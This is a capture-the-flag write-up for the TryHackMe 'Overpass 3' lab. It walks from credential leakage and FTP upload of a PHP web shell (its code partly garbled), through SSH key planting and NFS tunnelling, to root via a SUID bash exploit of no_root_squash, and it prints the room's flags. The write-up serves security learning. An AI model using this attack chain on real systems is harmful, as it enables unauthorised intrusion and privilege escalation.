Skip to content

````markdown

lev: Medium link: https://tryhackme.com/room/overpass3hosting site: TryHackMe title: Overpass 3 - Hosting os: Linux



❓Question

What is the web flag?

πŸ“‹ Walkthrough

We start by scanning the target and find three open ports:

text 21/tcp open ftp 22/tcp open ssh 80/tcp open http

The website on port 80 is called Overpass Hosting.

Looking through the page source, we can already collect some possible usernames from the "Meet the Team" section:

text Paradox Elf MuirlandOracle NinjaJc01

At this stage they are only potential usernames, but it is useful to keep them for later.

Next, we enumerate the web server using feroxbuster:

sh feroxbuster --url http://10.114.172.244/

Among the normal static files, one directory stands out:

text 301 GET http://10.114.172.244/backups

Inside it, directory listing is enabled and we find:

text http://10.114.172.244/backups/backup.zip

We download and extract the archive.

Inside there are two interesting files:

text priv.key CustomerDetails.xlsx.gpg

The spreadsheet is encrypted with GPG, but the archive also contains a private key.

We first import it:

sh gpg --import priv.key

The output confirms that both the public and secret keys were imported:

text gpg: public key "Paradox <paradox@overpass.thm>" imported gpg: secret key imported

The key belongs to Paradox, which matches one of the names found on the website.

We can now decrypt the spreadsheet:

sh gpg --output CustomerDetails.xlsx --decrypt CustomerDetails.xlsx.gpg

GPG warns that the key is expired, but this does not prevent us from decrypting the file.

Opening the spreadsheet reveals customer credentials:

text Customer Name Username Password Par. A. Doxx paradox ShibesAreGreat123 0day Montgomery 0day OllieIsTheBestDog Muir Land muirlandoracle A11D0gsAreAw3s0me

I save the username/password combinations in a file:

text paradox:ShibesAreGreat123 0day:OllieIsTheBestDog muirlandoracle:A11D0gsAreAw3s0me

Since FTP is exposed on port 21, we can quickly test the credentials without trying every username against every password.

Hydra's -C option lets us provide exact username:password pairs:

sh hydra -C users.txt ftp://10.114.172.244

Hydra finds one valid combination:

text [21][ftp] host: 10.114.172.244 login: paradox password: ShibesAreGreat123

We log into FTP as paradox.

Inside the FTP server we notice something important: the files are the same files being served by the web server.

This means the FTP account has access to the web root.

The next question is whether the FTP account is read-only or whether we can upload files.

We test an upload using put, and it succeeds.

Because the web server executes PHP, we upload a very small PHP command shell:

```php

&1');
    }
?>

```

After uploading it through FTP, we access it through the browser and execute:

sh whoami

The web server responds with:

text apache

So we now have command execution as the Apache service account.

A browser-based command shell is not particularly comfortable, so I upload/use a better payload and obtain a reverse shell.

From the reverse shell:

sh whoami

returns:

text apache

We inspect Apache's home directory:

sh cd ~ ls

and find:

text error icons noindex web.flag

Reading the flag:

sh cat web.flag

Answer

thm{0ae72f7870c3687129f7a824194be09d}


❓Question

What is the user flag?

πŸ“‹ Walkthrough

We currently have a shell as:

text apache

The web shell itself does not give us many privileges, so we start looking for a way to pivot to a real local user.

From /etc/passwd, the interesting users are:

text james paradox

We already have a password belonging to paradox from the decrypted spreadsheet:

text ShibesAreGreat123

Since password reuse is common in CTFs, it is worth testing whether this FTP password is also the local Linux password.

From the reverse shell:

sh su paradox

We enter:

text ShibesAreGreat123

and it works.

Checking:

sh whoami

now returns:

text paradox

So the same password was reused for both FTP and the local Linux account.

SSH on the machine does not accept password authentication for this user, so instead of trying to authenticate with the password remotely, we use our local access as paradox to add our own SSH public key.

On the attacking machine, we generate a dedicated key pair:

sh ssh-keygen -t ed25519 -f ~/.ssh/overpass_paradox -N ""

This creates:

text ~/.ssh/overpass_paradox ~/.ssh/overpass_paradox.pub

We copy the public key:

sh cat ~/.ssh/overpass_paradox.pub

Then, from the paradox shell, we create the SSH directory if required:

sh mkdir -p ~/.ssh chmod 700 ~/.ssh

and append our public key to:

text ~/.ssh/authorized_keys

Finally:

sh chmod 600 ~/.ssh/authorized_keys

Now we can connect directly through SSH:

sh ssh -i ~/.ssh/overpass_paradox paradox@10.114.172.244

This gives us a much more stable shell and, more importantly, SSH port forwarding.


While enumerating the machine, /etc/exports contains something very interesting:

sh cat /etc/exports

text /home/james *(rw,fsid=0,sync,no_root_squash,insecure)

This tells us that /home/james is exported over NFS.

The important option is:

text no_root_squash

Normally, when root on an NFS client accesses a remote export, the server maps that user to an unprivileged anonymous account.

This protection is called root squashing.

With:

text no_root_squash

that protection is disabled.

Therefore, if we can mount this NFS share from our own machine as root, files we create as local root will also be treated as owned by UID 0 on the target.

First, however, we notice that NFS is not directly accessible from our attacking machine.

Trying:

sh showmount -e 10.114.172.244

returns:

text clnt_create: RPC: Unable to receive

The NFS service is therefore available internally but is not reachable directly from outside.

Now that we have SSH access as paradox, we can solve this using SSH local port forwarding.

NFS normally listens on TCP port 2049.

From our attacking machine:

sh ssh -i ~/.ssh/overpass_paradox \ -L 2049:127.0.0.1:2049 \ paradox@10.114.172.244

This creates the following path:

text Our machine:2049 | | SSH tunnel v Target:127.0.0.1:2049

Because the export uses:

text fsid=0

it represents the root of the NFS namespace.

We create a local mount point:

sh sudo mkdir -p /mnt/james

and mount it:

sh sudo mount -t nfs localhost:/ /mnt/james

Now:

sh cd /mnt/james ls

shows:

text user.flag

We can simply read it:

sh cat user.flag

Answer

thm{3693fc86661faa21f16ac9508a43e1ae}


❓Question

What is the root flag?

πŸ“‹ Walkthrough

At this point we can access /home/james through NFS.

While inspecting the directory, we also find James' SSH configuration:

sh ls -la /mnt/james/.ssh

Inside we find his private SSH key.

We copy the private key to our machine and save it as:

text private.key

We fix the permissions:

sh chmod 600 private.key

and connect as James:

sh ssh -i private.key james@10.114.172.244

The login succeeds:

text [james@ip-10-114-172-244 ~]$

We now have an SSH shell as james.

At first, standard privilege escalation enumeration does not show anything particularly useful.

For example, searching for SUID binaries:

sh find / -perm -4000 -type f 2>/dev/null

mostly returns standard system binaries:

text /usr/bin/mount /usr/bin/chage /usr/bin/gpasswd /usr/bin/newgrp /usr/bin/su /usr/bin/umount /usr/bin/sudo /usr/bin/passwd /usr/bin/pkexec /usr/bin/crontab /usr/sbin/mount.nfs ...

Nothing here immediately looks like the intended route.

However, the important vulnerability has already been discovered:

text /home/james *(rw,fsid=0,sync,no_root_squash,insecure)

The no_root_squash option means that our root account on the NFS client can create files inside James' home that are actually owned by root on the target.

This opens a much simpler privilege escalation path.

One initial idea would be to create a shell script and set the SUID bit on it.

For example:

```sh

!/bin/bash

/bin/bash ```

However, Linux normally ignores the SUID bit on interpreted scripts for security reasons.

Instead, we can use an actual ELF binary.

We do not even need to compile anything because /bin/bash already exists.

From our local machine, inside the mounted NFS share, we copy Bash:

sh sudo cp /bin/bash /mnt/james/bash

Because the operation is performed as local root and the NFS export has no_root_squash, the file appears on the remote system as owned by root.

We explicitly make sure the ownership is correct:

sh sudo chown root:root /mnt/james/bash

Then we set the SUID bit:

sh sudo chmod 4755 /mnt/james/bash

The mode 4755 means:

text 4 -> SUID 7 -> owner: read/write/execute 5 -> group: read/execute 5 -> others: read/execute

Checking the file from James' SSH session:

sh ls -la ~/bash

shows:

text -rwsr-xr-x 1 root root ... bash

The important part is:

text rws

instead of:

text rwx

The s indicates that the SUID bit is active.

Because the file belongs to root, executing it causes the process to receive an effective UID of 0.

Simply starting Bash is not quite enough because Bash normally drops elevated privileges for safety.

Therefore we execute it with:

sh ./bash -p

The -p option tells Bash to preserve the effective privileges it inherited from the SUID binary.

We now get:

text bash-4.4#

and verify:

sh whoami

text root

At this point we have successfully escalated from:

text apache ↓ paradox ↓ james ↓ root

Finally:

sh cat /root/root.flag

Answer

thm{a4f6adb70371a4bceb32988417456c44}


πŸ”Ž Attack Path Summary

The complete attack chain was:

text Web enumeration ↓ /backups/backup.zip ↓ GPG private key + encrypted XLSX ↓ Decrypt customer credentials ↓ FTP login as paradox ↓ FTP has write access to web root ↓ Upload PHP web shell ↓ Code execution as apache ↓ Read web.flag ↓ Reuse paradox password locally ↓ su paradox ↓ Add SSH public key ↓ SSH access as paradox ↓ Discover NFS export with no_root_squash ↓ SSH tunnel TCP/2049 ↓ Mount /home/james over NFS ↓ Read user.flag + obtain James SSH private key ↓ SSH as james ↓ Use no_root_squash to create root-owned SUID bash ↓ ./bash -p ↓ root

```